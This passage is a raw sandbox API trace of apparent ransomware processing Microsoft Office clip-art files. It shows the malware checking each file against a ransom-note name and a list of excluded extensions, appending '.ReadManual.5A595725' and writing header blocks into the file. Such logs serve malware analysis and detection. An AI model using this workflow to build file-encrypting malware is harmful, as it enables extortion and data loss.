Office\\CLIPART\\PUB60COR\\SO00345_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.ReadManual.5A595725" [0274.396] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.ReadManual.5A595725") returned 87 [0274.396] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39506456945) returned 1 [0274.396] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf")) returned 0x20 [0274.396] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.396] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=35734) returned 1 [0274.396] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b96, lpName=0x0) returned 0x184 [0274.396] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.397] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.397] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.411] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.412] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b96) returned 0x2f0000 [0274.413] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.413] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39508175666) returned 1 [0274.413] CloseHandle (hObject=0x184) returned 1 [0274.413] SetSecurityInfo () returned 0x57 [0274.413] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.413] CloseHandle (hObject=0x194) returned 1 [0274.413] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1 [0274.413] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00350_.WMF" | out: lpString1="SO00350_.WMF") returned="SO00350_.WMF" [0274.413] lstrcmpiW (lpString1="SO00350_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.413] StrStrIW (lpFirst="SO00350_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.413] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.414] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.414] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" [0274.414] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.ReadManual.5A595725" [0274.414] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.ReadManual.5A595725") returned 87 [0274.414] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39508273591) returned 1 [0274.414] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf")) returned 0x20 [0274.414] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.415] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=48096) returned 1 [0274.415] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbbe0, lpName=0x0) returned 0x184 [0274.415] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.416] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.416] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.418] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.418] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbbe0) returned 0x2f0000 [0274.419] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.419] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39508817931) returned 1 [0274.419] CloseHandle (hObject=0x184) returned 1 [0274.420] SetSecurityInfo () returned 0x57 [0274.420] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.420] CloseHandle (hObject=0x194) returned 1 [0274.420] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1 [0274.420] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00352_.WMF" | out: lpString1="SO00352_.WMF") returned="SO00352_.WMF" [0274.420] lstrcmpiW (lpString1="SO00352_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.420] StrStrIW (lpFirst="SO00352_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.420] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.420] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.420] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" [0274.420] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.ReadManual.5A595725" [0274.420] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.ReadManual.5A595725") returned 87 [0274.420] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39508913354) returned 1 [0274.420] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf")) returned 0x20 [0274.421] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.422] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=37708) returned 1 [0274.422] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x934c, lpName=0x0) returned 0x184 [0274.422] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.423] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.423] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.425] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.425] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x934c) returned 0x2f0000 [0274.426] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.426] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39509485537) returned 1 [0274.426] CloseHandle (hObject=0x184) returned 1 [0274.426] SetSecurityInfo () returned 0x57 [0274.426] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.426] CloseHandle (hObject=0x194) returned 1 [0274.426] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1 [0274.426] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00364_.WMF" | out: lpString1="SO00364_.WMF") returned="SO00364_.WMF" [0274.426] lstrcmpiW (lpString1="SO00364_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.426] StrStrIW (lpFirst="SO00364_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.427] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.427] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.427] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" [0274.427] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.ReadManual.5A595725" [0274.427] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.ReadManual.5A595725") returned 87 [0274.427] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39509576140) returned 1 [0274.427] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf")) returned 0x20 [0274.427] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.428] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6472) returned 1 [0274.428] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1948, lpName=0x0) returned 0x184 [0274.428] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.428] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.429] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.430] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.430] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1948) returned 0x2f0000 [0274.430] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.430] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39509927000) returned 1 [0274.431] CloseHandle (hObject=0x184) returned 1 [0274.431] SetSecurityInfo () returned 0x57 [0274.431] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.431] CloseHandle (hObject=0x194) returned 1 [0274.431] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1 [0274.431] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00367_.WMF" | out: lpString1="SO00367_.WMF") returned="SO00367_.WMF" [0274.431] lstrcmpiW (lpString1="SO00367_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.431] StrStrIW (lpFirst="SO00367_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.431] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.431] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.431] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" [0274.431] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.ReadManual.5A595725" [0274.431] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.ReadManual.5A595725") returned 87 [0274.431] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39510016675) returned 1 [0274.431] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf")) returned 0x20 [0274.432] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.432] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20970) returned 1 [0274.432] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x51ea, lpName=0x0) returned 0x184 [0274.432] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.433] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.433] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.435] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.435] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x51ea) returned 0x2f0000 [0274.435] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.435] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39510400648) returned 1 [0274.435] CloseHandle (hObject=0x184) returned 1 [0274.435] SetSecurityInfo () returned 0x57 [0274.435] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.435] CloseHandle (hObject=0x194) returned 1 [0274.436] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1 [0274.436] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00373_.WMF" | out: lpString1="SO00373_.WMF") returned="SO00373_.WMF" [0274.436] lstrcmpiW (lpString1="SO00373_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.436] StrStrIW (lpFirst="SO00373_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.436] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.436] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.436] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" [0274.436] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.ReadManual.5A595725" [0274.436] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.ReadManual.5A595725") returned 87 [0274.436] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39510491504) returned 1 [0274.436] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf")) returned 0x20 [0274.436] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.437] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13064) returned 1 [0274.437] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3308, lpName=0x0) returned 0x184 [0274.437] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.438] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 